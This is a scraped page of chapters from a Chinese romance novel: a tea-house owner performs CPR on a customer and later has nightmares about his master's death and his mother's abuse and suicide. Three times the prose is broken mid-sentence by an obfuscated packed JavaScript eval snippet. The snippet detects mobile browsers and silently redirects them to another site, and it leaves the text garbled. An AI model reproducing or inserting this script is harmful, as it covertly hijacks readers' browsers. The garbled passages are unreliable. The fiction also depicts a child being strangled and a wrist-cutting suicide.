秦澜月咳了一声,笑嘻嘻地说:“这还不是多亏了英明神武的店长吗,要不等我老了就真得睡大街了。” 楚韫懒得理他。那天之后他们又聘请了一个茶博士,秦澜月的构想也在逐步实现,“先春”现在已经积累了一批规模不小的忠实顾客。很多人慕名而来,但真正想长久地留住他们,靠的还是一杯茶的品质。 楚韫看了一眼时间,放下书起身,抱起茶室里那把有些年头的紫檀琵琶,两人下了楼。 楚韫答应秦澜月表演琵琶,其实只是相当于换了个场地,他平时闲来无事,也会在屋子里弹拨一段。 今日是个艳阳天,微风拂过水面,惊起片片涟漪。楚韫坐在水心亭内,身姿挺拔如松。 许多茶客的目光都被吸引,有人甚至拿出手机准备录像。 修长的手指轻轻搭在琵琶弦上,指尖微动,和所有人的想象不同,这个年轻人一曲琵琶高亢激昂,带着几分不属于他的肃杀之气。急促回转间,所有茶客的耳旁仿佛传来猎猎风声。 傅砚珩进来时,看到的就是这样的景象:年轻人眉目低垂,神情专注而沉静,琴弦随着他拂过的手指而飞速颤动。 一个人,一把琴,却偏生奏出了千军万马的感觉。 4. 急救 秦澜月虽然总是不着调,但他说楚韫当年在迎新晚会上惊艳四座倒是一点都没夸张。 时光给楚韫带来的不是指法的生疏,而是青涩少年经过岁月沉淀后的淡然深邃。这种深邃为他增添了几分神秘感,让人忍不住想要闯进他的世界,看看那片波澜不惊的水面下是否真的那么平静。 傅砚珩又淡淡地欣赏了一会,刚想抬脚进去把傅承均交给他的任务完成,就听雅座那边传来一声尖叫: “啊!你怎么了!!” 琴声“铮”地一下戛然而止,像是丝滑的绸缎被撕开一道口子。 女子毫无征兆地倒在地上,四肢抽搐,头上不住地冒着冷汗,面色惨白,已经没了意识。 傅砚珩扫了一眼,大致知道是怎么回事,快步走过去想要救人,但有人比他更迅速。 楚韫拨开慌乱的人群,一面上前检查情况一面问:“打120了吗?” 有人捏着手机点头,语气颤抖:“打,打了。” 楚韫右手食指中指并拢,按在了女子的颈动脉处。 三秒,五秒,指尖感受不到丝毫搏动。 他皱眉道:“是心脏骤停,来不及等救护车到。” 傅砚珩站在人群外面,但因为个子高能看清里面的情况。他沉声问道:“有AED吗?” 楚韫寻到声音来源,飞快地看了他一眼:“有。” 与此同时,他双手掌根交叠,手臂绷直,用上半身重量往下压,指节因为用力而泛白。 他做到第四组,秦澜月拎着黄色的箱子匆匆跑来,楚韫嗓音平静,飞快地说:“我要对这位女士实施急救,需要解开她的衣服,请在场的男士回避一下。” 他看了一眼刚才尖叫的那个女生,对方情绪非常不稳定,看起来已经处在崩溃边缘,想让她帮忙是不可能的了。 “请最外面的那位先生过来协助我。” 楚韫甚至没再给这边一个眼神,但傅砚珩知道他指的是自己。 傅砚珩走进中心,楚韫一面打开电源一面吩咐他:“帮我把这位女士的衣扣解开,内衣也要松开。” 傅砚珩照做,楚韫将电极片贴在女子胸前,等待AED的心率分析。 几秒钟后,绿色电击键亮起,楚韫说:“所有人现在不要触碰患者。” 然后他按下了电击键。 一瞬间,女子的身体猛地抽搐了一下,胸廓剧烈起伏。楚韫用手探向颈动脉,那里已经有了微弱却连续的搏动。 “有呼吸了。” 女子喉结微动,嘴角溢出了白沫,楚韫迅速将她的头偏向一侧,傅砚珩已经抽过秦澜月递来的纸巾接住。 AED发出持续的滴滴声,楚韫却始终没敢放松,一只手一直按在女子的颈动脉上,数着搏动的频率,傅砚珩想接替他,被楚韫拒绝了。 五分钟后,救护车终于赶到现场,接走了女子。 楚韫额上微微出了汗,想要站起来,却因为跪了太久一时没能成功。 傅砚珩就在他旁边,眼疾手快地扶了他一把。 原本因为紧张而寂静的人群突然爆发了一阵热烈的掌声,刚才尖叫的女生眼眶通红,哽咽着说:“谢谢,谢谢,要不是因为你们,我朋友可能已经出事了。” 楚韫的眼神里有一种令人安定的力量,他温声说:“没什么,你朋友只要醒过来就不会再有太大问题。” 女生点了点头,就听傅砚珩说:“她最近是不是总熬夜。” 女生愣了一下,一是意外他怎么会知道,二是因为他长相气质过于出挑,光是站在这里就与众人格格不入。 她点点头说:“是,是这样的。我朋友她是律师,最近她们律所接了家大公司的委托,几乎每天都要熬到凌晨。她昨天刚刚忙完,我想着今天带她出来放松一下,没想到——” 傅砚珩语气淡淡:“连续通宵会让心脏长期处于高负荷状态,即使休息一晚,心脏的疲劳未必完全恢复,尤其对于心脏功能不好的人,这种情况下喝茶很容易出问题。” 女生呆呆地看着他,良久才缓慢一点头:“……啊,嗯,你说得对。” 楚韫看了傅砚珩一眼,觉得这话从他这说出来总有一种不真实的感觉。 . 一场惊心动魄的急救过去,茶楼里又恢复了原来的秩序。 楚韫接过陆俨递过来的茶,润了润嗓子才说:“您是要喝茶吗?” 傅砚珩的目光落在他颈间的一段红绳上,想来是刚才救人时动作幅度太大,把衣领上的一颗扣子崩开了,这才露出里面的一抹颜色。 鲜红如火,衬得他的皮肤更加冷白如纸。 不过傅砚珩向来不会让人觉得被冒犯,那目光只是趁着楚韫喝茶时垂下眼睫才停留了半秒钟,随即便轻飘飘地移开了。 “我是来买茶的。”他似乎笑了下,“上次喝着很是惊艳,想来您这的茶叶品质都不一般。” 实际上这是傅承均交给他的任务,买二两茉莉花茶带回去。 在一旁偷听的秦澜月在心里使劲点头,心想那可不吗,你们喝的茶都是楚韫亲手做的。 楚韫放下盖碗:“和我来吧。” 这次楚韫把他领到了二楼的另一间茶室,里面一整面墙的架子上摆满了各种各样的瓷罐,每个瓷罐上面都贴着一张纸条,上面写着茶叶的名字。 楚韫问他:“您要上次喝过的白毫银针还是茉莉花茶,还是再换一种?” 傅砚珩:“茉莉花茶。” 楚韫搬来梯子,一级级踩上去,摸到最上层的一个罐子再抱下来。 “几两?” 傅砚珩停顿了一下:“三两。麻烦分装成二两和一两的。” 楚韫量好茶叶重量,用牛皮纸包好,外面捆上麻绳递给他:“下楼找经理结账。” 傅砚珩突然问了句:“你是怎么学会心脏急救的?” “这有什么奇怪的吗,”楚韫似乎不解:“上学的时候学校开过这门课。” 会心脏急救不奇怪,奇怪的是教科书般专业的手法,和不假思索的、几乎是下意识的熟练度,像是做过千百次。 傅砚珩点点头,没再问下去,转身下楼。 . 拎着两包茶回到车上,坐在前面的司机战战兢兢地回过头:“老板,这种事交给我来做就好了。” 天知道他在车上等着的这段时间里都在想什么,一会儿反省自己最近工作上有没有失误,一会儿担心自己是不是要被老板辞退了。 不怪他多想,自家老板向来喜怒不形于色,只会用行动告诉他们这些下属他满不满意,但到了那个时候往往一切都晚了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383291|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅砚珩“嗯”了一声,把一包茶叶扔给司机:“有时间把它送到老宅。” 司机闻言如蒙大赦,连连点头应是。 余光瞥到自家老板旁边的另一个纸包,司机随口问道:“那包需要我送出去吗?” 傅砚珩已经看上了项目部递上来的方案,头也不抬地说:“不用,那是我的。” 司机大吃一惊。在他印象里,除了应酬上,老板几乎从不碰茶,更别提主动买茶。 司机很纳闷,心想这茶楼有些本事,改天自己也去买点尝尝。 . 暮色笼罩了这座城市,千万条光带沿着每一条街道、每一幢楼宇苏醒。正是晚高峰时期,路上的车辆汇成一条凝滞的河流,然而亿恒的写字楼里仍然灯火通明。 闻时拿着一份厚厚的文件走进来:“傅总,这是项目部改过的新方案。” 傅砚珩正在看美国分公司那边发来的邮件,“嗯”了一声:“放桌上。” 闻时心想项目部今天直接收拾收拾住公司得了,初版方案老板不满意,下午开会时冰冷沉重的气压让他们差点喘不过气来,他现在脑子里还是老板的那句似笑非笑的:“这就是各位耗时两周做出来的成果?” 结果当然是毫不意外的重做。感受到傅砚珩的怒气,项目组花了一整个下午快马加鞭地赶出一份新方案,已经呈在了老板案头。但以闻时跟在傅砚珩身边多年的经验来看,这版估计也悬。 毕竟他们老板是出了名的挑剔,接管亿恒至今,几乎没有任何一份方案能修改不少于三次就从他手里通过。 傅砚珩回复完邮件,看了一眼电脑右下角的时间:“让项目组的人下班吧,有问题明天再说。” 闻时不语。闻时震惊。 “啊……?” 傅砚珩挑了挑眉:“想在这熬通宵也不是不行。” 闻时反应过来,忍着笑说:“是,老板。我替项目组的人谢谢您。” “你也回家吧。” 闻时彻底宕机,等到反应过来简直要流下感动的泪水:“谢谢老板!!” 他迈着轻快的步子走出办公室,感觉身在云端,有一种不真实的幸福。 老板今天怎么突然转性大发善心了??啊啊不管了我要去吃景和路那家新开的日料!!! . 夜已深,天幕上的几颗星闪烁着微弱的光芒,似乎也已疲累。街上的店铺早已打烊,空荡荡的马路上偶尔有几辆车驶过,掀起一阵呼呼的风声。 傅砚珩翻完方案的最后一页,有些疲累地向后靠去,目光却落在了桌角的那包茶叶上。 他探身取过来,动动手指解开上面的麻绳,淡淡的花香飘散而出。 这是傅砚珩第一次自己泡茶,他从柜子里翻出从买来就几乎是摆设的茶具,回想了一下当时楚韫是怎么做的,然后非常生疏地投茶、洗茶。再次注水之前,为了确保万无一失,还是特意点开百度来查茉莉花茶每泡需要的时间。 他盯着手表的秒针从一走到三,然后立刻出汤,结果喝的时候却远不如那天的味道,茶汤苦涩,香气也大打折扣。 茶是好茶,在于技术问题。傅砚珩不知道自己哪个环节弄错了,和楚韫泡的相比简直是天壤之别。 他无奈地叹气,手指搭在杯子上,认命地将里面的茶汤一饮而尽。 5. 梦魇 城市的另一端,灯火阑珊,万籁俱寂。 楚韫躺在床上,身体陷进柔软的床垫里,像一片轻盈的羽毛落入温暖的湖水中。他呼吸平稳,面色柔和,像是坠入了一个宁静而美好的梦境。 梦境里,楚韫看到坐在石桌边的身影,神情微微恍惚,酸涩辛楚一瞬间攥紧了心脏,让他感到难以呼吸。 …… 男子盯着杯中茶,虽然早已经猜出大概是什么光景,但还是认命地喝了下去。 “小楚,你这做的是什么?” 年幼的楚韫带着朝露的湿润,他以为师父不高兴了,像一只可怜的毛茸茸的幼兽,小声说道:“我新研究的茉莉花茶。” 廖叙生哑然失笑,摇了摇头说:“茉莉花茶可不是这么做的,等你长大了师父教你。” 小楚韫愣了一下,随即抿了抿唇,想要把嘴角放平,语气里是掩饰不住的雀跃:“真的吗师父?” 说完,他又有些不安地加了一句:“您,您可不要骗我。” 廖叙生说:“不骗你,师父从来不骗小楚。” 晨光熹微,似乎还是那年那地,男孩的个子已经像松竹一样拔高,五官长开了一点,虽然青涩,但已经有了几分后来的从容与淡然。 他纤长的手指穿过雪白的花瓣,耳边是廖叙生沉静的指导:“还记得我和你说过的吗,窨花拼和要掌握好配花量、花开放度、温度、水份、厚度、时间这六个因素。” 楚韫没说话,手下稳稳地将茉莉花铺在绿茶上面。 他没有看到廖叙生眼里一闪而过的惊诧。别人不知道,但廖叙生做了三十年茶,一眼就能看出来楚韫已经把配花量把握得很精确。 可这明明是楚韫第一次尝试做茉莉花茶。 从茶叶的边缘开始轻而迅速地向内翻动,让茶坯与茉莉花快速混合。随着拌和的进行,花香逐渐渗透到茶叶中。最后再将拌和好的茶叶拢在一起,盖上纱布,送入茶箱窨花。 做完这些的楚韫看向师父,眉眼弯弯,眼神里满是期盼。只有在这个时候,他才会展露出孩子气的一面。 廖叙生从来不会吝啬自己的夸奖:“第一次能做成这样已经非常好了。” 他也会一针见血地指出楚韫的问题:“但是手速还是不够快,你要知道,任何一秒的延长拖沓都可能造成香气的不均匀。没有其它的解决方法,唯有苦练。” 阳光洒在楚韫脸上,光影交错,勾勒出他柔和又不失筋骨的面部线条。 他点点头:“师父说的是,徒弟会勤加练习的。” 倏忽间,岁月骛过,山上茶园又一年生出嫩绿的尖芽,却再没有人会呵护着将它们采下。 楚韫看着躺在庭院摇椅里看书的廖叙生,当年意气风发的制茶大师已经两鬓霜白,不知不觉间,皱纹像枝蔓一样爬满了他的眉梢眼角,攫取着他仅剩不多的生命力。哪怕是现在静静地坐在那里,也像一盏随时会熄灭的摇曳的灯火。 其实真正的衰老往往就在一夜间发生,就像巍峨高山总是在瞬息间崩塌倾颓。 楚韫心脏钝痛,想要伸出手抚平师父手上干枯的皱纹,却只是徒劳一场空。 下一秒,他听见廖叙生对梦境里的自己说:“小楚,你去帮师父买些槐花蜜来吧。” 正在擦桌子的楚韫不太放心:“师父,我不能让您独自在家。” 廖叙生笑了笑,仿佛知道楚韫心中所想,安慰他道:“放心,师父虽然伤心,但不会想不开的。” 他看着风卷起庭院落花,几乎是喃喃自语:“人老了,突然就想起槐花蜜的那点甜了。” 楚韫手上动作一顿,眼里泛起酸涩。他眨了眨眼,就听廖叙生温柔地说:“去吧,小楚,师傅什么时候骗过你。” 不,不要,不能去—— 楚韫想要阻拦,但无济于事。 一切冥冥之中自有定数,悲剧只会按照特定的轨道再度重演,没有人能改变,没有人能阻止。 心底最柔软的地方被触动,梦境里的他不忍心让师父的心愿落空,犹豫了一下还是拿起钥匙往外走:“那您好好在家,我马上就回来。” 门被轻轻地关上,从此一阴一阳天人两隔,碧落黄泉不复相见。 楚韫僵硬地立在那里,看着廖叙生费了好大的力气才重新插上被拔掉的网线,然后打开电视,眯着眼睛用遥控器慢慢地调台。 电视画面定格在某个频道,那是一个茶叶访谈节目。一个长相和蔼、衣着简朴的中年人正在接受一段采访,讲解自己新研制出的一款茶叶。 主持人称赞道:“余大师潜心钻研十二年,才让这款雪听松风成功面世,请问是什么样的信念支撑着你熬过如此长的一段研制周期?” 中年人沉吟一瞬,看向摄像机,平静地说:“大概是匠心吧。” 他面露回忆之色,不自觉地带了些笑意:“十二年,听起来很长,但对一片茶叶来说,不过是它从枝头到杯中的一段旅程。” “最开始,我只是在山上闻到松风的味道,下意识觉得它和茶香很像,后来想想,那大概是一种干净的孤独吧。” 主持人觉得这种比喻很新奇,惊讶道:“孤独?” “没错,”他点了点头,语气中染上一抹幽微:“松树长在悬崖上,茶树生在云雾里,它们都是孤独的。甚至对于当时的我来说,孤独也是一种常态。” “怀着这样的心情,我开始思考把二者结合起来,就有了现在雪听松风的雏形。” 廖叙生死死地盯着电视屏幕,紧握遥控器的手微微颤抖。愤怒和痛苦像是狂乱的蜂群冲击着他的耳膜,电视里的声音变得遥远而又模糊,耳旁只余一片空白无力的嗡鸣声。 他看不见的地方,楚韫紧紧地抱住了他,泪水无声地从眼角滑落。 不知过了多久,他麻木地想要关掉电视,镜头却在这时转向了一旁。 廖叙生这才看清,那里坐着一个面容俊朗的年轻人。 一直以来的猜想在这一刻被证实,不再留给他任何侥幸的余地。 “……其实这款新茶的面世,还要感谢我的徒弟。” “很长一段时间里,我因为遇到瓶颈而止步不前,但他总会在一些意想不到的时刻带给我新的灵感。” 年轻人面向镜头礼貌地笑了笑。主持人半开玩笑地说:“真是后生可畏啊,更何况是这种兼具颜值和才华的年轻人。” 楚韫面无表情地看着电视里的天之骄子,一只手在身侧紧握成拳。 廖叙生头上冷汗涔涔,面色肉眼可见地苍白起来。他胸膛剧烈地起伏,像一尾搁浅的鱼拼命地呼吸,但暴烈的阳光和稀薄的氧气让这种行为注定无济于事。 心脏像是被一只无形的手紧紧握住,巨大的痛楚让廖叙生眼前模糊。遥控器掉到地上发出“咣当”一声,但他已经听不到了。 世界漆黑一片,意识消散的最后一刻,廖叙生张了张嘴,无声而吃力地说: 对,不,起——。 对不起,小楚,师父食言了。 所有的感觉都变得遥远而模糊,无法言喻的痛楚像一把钝刀,一点点割裂着他的灵魂。从此多少个日夜,寒风冷雨如梦魇般肆虐着千疮百孔的灵魂,让他再未获得一刻真正的安宁。 开锁的声音响起,楚韫浑浑噩噩地看向门口。 梦境里的自己匆忙赶回来,额头上渗出细密的汗珠。他手里拿着一罐槐花蜜,随后不知是看到了什么,玻璃罐落在地上,里面的蜜糖飞溅一地。 接下来的一切都那么直观而清晰,像是一串编写好的代码,只要按下一个键,就会自动出现结果—— 颤抖着拨打120,迅速采取心肺复苏,进行AED除颤…… 救护车闪烁着红灯迅速赶来,又带着急促的警笛声呼啸而去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383292|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周围的环境迅速扭曲变形,无数只黑暗的手从地下伸出,带着低沉而诡异的呢喃声,缓缓攀附上楚韫的脚踝,猛然将他拉进了另一个深渊—— . 月亮挂在残破的树梢,凄冷黯淡的月光透过狭小的窗照进破败的出租屋,让空气中漂浮的灰尘无所遁形。 “啪”的一声,年幼的楚韫脸上泛起通红的指印。 他被这一巴掌打懵了,后知后觉地反应过来疼痛。下一秒,穿着素白裙子的女人猛地扑了上来,五指如铁钳般死死掐住了他的脖子。 小楚韫拼尽全力想要挣脱,眼里泛起生理性的泪水。奈何与成年人的力量差距过于悬殊,一切都是徒劳无功。 “……都是因为你,都是因为你——” 女人精神恍惚地嘶声喊着,缓缓露出一个神经质的、可怖的笑容。 “你死了,他就会来找我了。” 那时的楚韫不知道她在说什么,他的眼前浮现起点点白光,像是以前女人给他讲过的童话里的天堂。 他偏了下头,几乎是用尽最后一点力气,狠狠地咬了下去。 “——啊!” 女人吃痛,下意识松开了手。 小楚韫趴在地上,大口大口地喘着气,心里竟然有一丝遗憾。 看来去不了天堂了。他想。 女人呆呆地坐在地上,像是一具被抽干了生命力的木偶。不知过了多久,她偏过头,看到小楚韫脸上和脖子上的红痕,突然崩溃般地大哭:“都是妈妈不好,不要生妈妈的气,妈妈是爱你的。” 她爬到小楚韫身边,小楚韫下意识地缩向墙角。直到后背抵上一堵冷硬,他才意识到自己已经避无可避。 女人颤抖的手缓缓抚摸上他的伤痕,像是触发了某种复读机制,喃喃道:“妈妈是爱你的,妈妈是爱你的……” 年幼的楚韫已经快对这样的剖白麻木,最开始的他也许还会因害怕而嚎啕大哭,但现在他只是面无表情,甚至还能对此付之一笑。 他稚嫩的嗓音响起,带着一点嘶哑:“我知道。” 他说这话时,语气是冷的,目光也是冷的。只是女人因为沉浸在自己的世界里,没有任何察觉。 她看了看墙上蒙着一层灰的旧钟,努力扯出一个安抚的微笑:“很晚了,宝宝快睡觉吧。” 她踉跄着站起来,游魂般地走出屋子:“我去洗澡。” . 那天的楚韫好像睡着了,又好像没睡着。意识游离在身体之外,却不知道要飘荡到何处。也许是因为闭上了眼,一片黑暗中,人的其它感官会被无限放大。半梦半醒间,他似乎听到了有规律的、不断的滴水声。 其实这种事情经常发生,多半是年久失修的卫生间又漏水了。但因为有些睡不着,他还是打算下床看看。 卫生间的门没有关紧,一丝昏黄的灯光从缝隙中透出来。 还没洗完吗? 小楚韫揉了揉眼睛,觉得有些奇怪。 窗外的猫头鹰突然古怪地叫了两声,他推开门,瞳孔骤然收缩。那是一个令他永生难忘的、梦魇般的场景—— 女人浑身赤裸着躺在放满了水的浴缸里,一只小臂搭在浴缸边沿上,手心朝上,以至于小楚韫能清清楚楚地看见她手腕上纵横交错的几道划痕。 鲜血顺着她的小臂缓缓流进浴缸里,将一池水染成暗红的深渊,还有一些直接从她手腕边滴落到地面的瓷砖上,滴答着,开出一朵朵靡艳诡异的花。 视觉上的巨大冲击让小楚韫胃部痉挛抽搐,下意识地弯腰干呕,却什么也没有吐出来。 他踉跄着后退,脚踝撞翻身后的矮凳,整个人跌坐在地。 手指死死揪住衣摆,力气大到甚至撕裂了布料。不知过了多久,低低的呜咽声从他的指缝中溢出来,在空荡的出租屋里久久回荡,像幼兽绝望的哀鸣。 …… 6. 调查 楚韫从梦中猛然惊醒,额头上布满了冷汗,呼吸急促,胸口剧烈起伏。房间里的黑暗有如一张无形的网,紧紧地包裹着他,让他一时分不清现实和梦境的界限。 他坐起身,打开床头灯,在暖黄色的灯光下平复了一会,伸手拉开床头柜抽屉,摸出藏在最里面的烟盒和火机,然后掀开被子下床,推开卧室露台的玻璃门,迎着微凉的晚风静默伫立。 修长的手指抽出一根女士烟,拇指抵住冰凉的金属滚轮,点燃。 有些发白的唇间溢出薄薄的烟雾,很快消散在晚风中,猩红的火光却一点点蔓延上那双墨色的眼眸。 楚韫没有理会最后的那个梦,只是垂下眼静静地思考。 一支烟抽完,他拨出了一个电话。 对面很快接通,男人温和的嗓音通过电流传过来:“又做噩梦了?” 楚韫说:“我让你查的事情有眉目了吗?” 对面不间断地响起敲击键盘的噼啪声和翻动文件的沙沙声。男人语气含笑:“你是预言家吗,今天晚上刚刚查出点东西,想着太晚了明早发你,谁知道你就突然打过来了。” 他一边说一边把一份电子文件发送过去,提醒道:“如果需要的话,我可以陪你一起去找他。” 他沉默了一下,意识到接下来的话有些过界,但还是说:“不然我会不放心。” 楚韫没什么表情地回绝:“不用,我自己就可以。” 对面早就料到这种情况,也只能无奈地苦笑:“该怎么说你好......我也只是怕你受伤,毕竟一旦起了争执任何事都有可能发生。” 他叹气:“楚韫,其实你不用这么防备我。” 指腹不断摩擦着滚轮,楚韫的心里忽然没来由地升起一股烦躁。 好在对方适时转移了话题,语气也恢复了之前的温润:“抱歉,刚才是我没控制好情绪。” 他几乎是带了安抚的意味:“接着睡吧,别再想那些了。” 楚韫“嗯”了一声,客气而疏离地说:“谢谢。” 挂断电话,梦里发生的一切似乎也随着烟雾四散而去。他回到卧室,靠在床头,点开刚才梁淮发给他的文档,一个神情忧郁、脸上有一块淡红色胎记的中年男人的脸出现在屏幕上。 楚韫盯着那张照片看了几秒,嘴角轻轻勾起,眼中却毫无笑意。 . 几日后,某家私人会所。 江祈年前些日子被家里派去国外公司处理一个项目,昨天才刚刚回来。他们这个圈子里有的是人想要上赶着巴结江少爷,因此不少人都想为他接风洗尘。 但江少爷向来眼高于顶,不屑于和他们厮混,最后还是他们那个核心的圈子里有人攒局,这才定下了今晚的晚宴。 男男女女几个人围着桌子坐了一圈,欢声笑语间,有一个位置始终空着。 主菜一道道地上来,有人拿湿毛巾擦了擦手,问道:“砚珩怎么迟到这么久。” 说话的人叫彭宗甯,家里世代从事艺术创作,祖上出过的名家大师数不胜数,随便叫出来一个都是如雷贯耳的大艺术家。很多为大众所熟知的美术馆和艺术基金会都是彭家在幕后实际掌控。 “还在忙公司的事呗,傅大工作狂忙起来能连续在公司住一个月。” 方施廷说。 江祈年夹了片鱼生送到嘴里,含糊不清地说:“他让咱们先吃,不用等他。” 旁边妆容精致的徐菀真不怀好意地接过话:“不管怎么说,迟到就是迟到,一会儿可得罚他三杯。” 江祈年放下筷子,懒懒笑道:“我可记住你说的了,等砚珩过来可别不敢。” 徐菀真之前出国,不了解其中内情,疑惑道:“这有什么不敢的。” 在场的三个知情人面面相觑,都笑不出来。 开玩笑,给傅砚珩灌酒,最后折磨的都是他们自己! “不敢什么?” 谈话间,傅砚珩跟着侍者进来,深灰色西装外套搭在小臂上,丝质衬衫光滑平整,看起来一丝不苟却又放松随意,丝毫不像是在公司忙了一天的人。 众人噤声。江祈年用手肘捅了捅旁边的徐菀真,看热闹不嫌事大地小声说:“去吧,加油!” 徐菀真一脸莫名其妙,但很快就恢复了正常,清了清嗓子,微笑道:“我们刚才在说,傅大总裁迟到了这么久,得罚你三杯酒。” 一边说着,一边亲手倒了半杯红酒递过去。傅砚珩没接,点了点头:“我自罚三杯。” 说完,他从桌上拿了一个空杯,自己倒了半杯红酒喝下,正要再倒第二杯时,江祈年眼疾手快地把他拦了下来,笑嘻嘻地说:“好了好了,是个意思就行了。菜都要上齐了,再不吃就凉了。” 另外两人悄悄抹了把冷汗,背地里给江祈年点了个赞。 . 傅砚珩这个人什么都无可挑剔,就是酒量极差。大概他自己也知道这一点,以前聚会时从来都是简单喝两杯,别人都酩酊大醉的时候只有他自己一个人还保持着清醒。 但正是因为没见过,他们这帮人才更好奇傅砚珩醉了会是什么样。 直到一次派对上,傅砚珩出去接了个很长时间的工作电话,他们趁机往他的威士忌里兑了高度数的伏特加。本来还担心会被发现,结果那天傅砚珩像是在想什么事情,一直心不在焉,也没发现自己的酒不太对劲,就那么喝完了一整杯—— 然后他们就用亲身经历验证出,喝醉的傅砚珩看起来和平时没什么两样,只是工作狂的毛病会呈几何系数增加。 比如—— “……测试数据不全,”傅砚珩手指敲击桌面,对着江祈年冷冷道:“连最基础的用户并发峰值模拟都没做,用的还都是老标准,这些细节漏洞是留着我给你填吗?!” 江祈年莫名替他们公司的人背了锅,满脸问号地缓缓睁大眼睛。方施廷看他吃瘪的可怜样子,一脸幸灾乐祸。 “还有你。”傅砚珩皱眉转向方施廷,毫不客气地说:“只盯着主流数据,那百分之五的关键案例是形同虚设吗?究竟是你视力不好还是在敷衍了事?!” 他的目光冷漠而尖锐,扫视过来的时候,他们几个忍不住起了一身鸡皮疙瘩。 “现在立刻重做,明天上午十点前我要看到最新的数据分析。” 傅砚珩下了最后通牒,有些心累地靠向后面的软皮沙发。一抬眼发现他们还僵在原地,语气里立刻染上了一层不耐烦:“还有什么问题吗?” 派对里的音乐不知道什么时候停了,江祈年和方施廷对视一眼,在彼此的眼中都看到了绝望。 但江祈年反应快,立刻清了清嗓子,换上一副低声下气的语气:“对不起傅总,我们马上就回去重做。” 一边说着,一边偷偷给另外两个人使眼色。 出了包厢,彭宗甯额角直突突,面无表情地说:“都是你们两个干的好事,现在怎么办?” 江祈年翻了个白眼:“要我说,趁着别人没发现,直接把砚珩打晕带走算了。不然等闹得人尽皆知,咱们三个的小命就彻底不保了。” 方施廷冷笑一声:“你要敢这么做,现在咱们就难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383293|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃一死。” 彭宗甯说:“那我们就糊弄他一下好了,好歹把人弄回家再说。” 话是这么说,但当他们几个迎上傅砚珩审视的目光时,还是会忍不住犯怵。 平心而论,傅砚珩在朋友身边时总是很随和,以至于让他们忘了这人平时有多冷漠、多挑剔。 这回是彭宗甯先开的口:“那个,傅总,要不您先回家吧,我们留在这里把分析弄完。” “不用,我还有产品策划案要看。”说完,傅砚珩疑惑道:“闻时送来的材料呢?” “……” 轮到方施廷上场。 “傅总您忘了吗,闻助理把材料送到您家去了。” 傅砚珩的眼睛一瞬不瞬地盯着方施廷看,看得他以为自己露馅了。过了几秒,他有些迟钝地点了点头,像是同意了。 方施廷面上一喜,下一秒就见傅砚珩下颌线条绷紧,缓慢而冰冷地开口:“你们很闲吗,在这关心我的私事?” 江祈年算是明白症结所在了,跑到角落偷偷给闻时打了个电话,然后把另外两人拽到包厢外。 傅砚珩看他们这幅不争气的样子,疲乏地捏了捏鼻梁,长长地出了一口气,左手扯了扯领带。 不到二十分钟,闻时狂奔而来,手里拿着一个文件袋。 江祈年差点流下两行宽面条泪,以一种见到好同志的激动抓起了闻时的两只手,害得他差点把文件掉到地上。 闻时有些受宠若惊:“小江总,这是技术部新的数据分析,您快拿去给老板看吧。” 江祈年用平生最为真挚的语气沉重地说:“谢谢你,闻特助,等这次危机解除我一定让你们老板给你升职加薪。” 闻时摸了摸鼻子,总觉得有些不太对劲,但江祈年已经换上一副毕恭毕敬的模样进去了。 果然不出他所料,傅砚珩看到新报告终于满意了,方施廷趁机煽风点火:“傅总,让闻特助送您回家吧,您的策划案不是还在家里吗?” 彭宗甯猛猛点头:“没错,不然多影响您的工作效率。” 傅砚珩有些狐疑地看了他们两个一眼,但被酒精麻痹的大脑终究没让他想通今晚的诡异之处。 他终于站起身,平淡地说了句“辛苦了”,然后步伐沉稳地离开包厢。 在他身后,终于收拾完自己闯出来的烂摊子的三个人如释重负,齐齐瘫倒在沙发上。 …… 没有那些虚与委蛇的无聊应酬,也没有那些炽热粘稠的目光追随,这场晚宴倒还算舒心。唯一的美中不足就是今晚的粤菜不太合他口味。 不过傅砚珩的喜好向来让人捉摸不透,每次赴宴都是逢场作戏般地夹几次菜,然后就不再动筷,以至于连他周围的朋友都不知道他到底喜欢吃什么。 饭后没有甜点,而是上了茶。侍应生为众人掀开盖碗,清冽的茉莉香扑鼻而来。 方施廷奇道:“这是谁的主意,倒是新颖。” 热气氤氲,江祈年没说话。彭宗甯面无表情地说:“还能是谁,按照原来的安排,本来应该上陈皮红豆沙,结果某位非要换成茉莉花茶。” “谁让今天江大少爷是主角,只能按照人家的心意来了。” 有人不明所以:“祈年,你怎么突然转性了?以前不是最讨厌茶的吗?” 傅砚珩漫不经心地掀起眼皮,静静地看向江祈年。 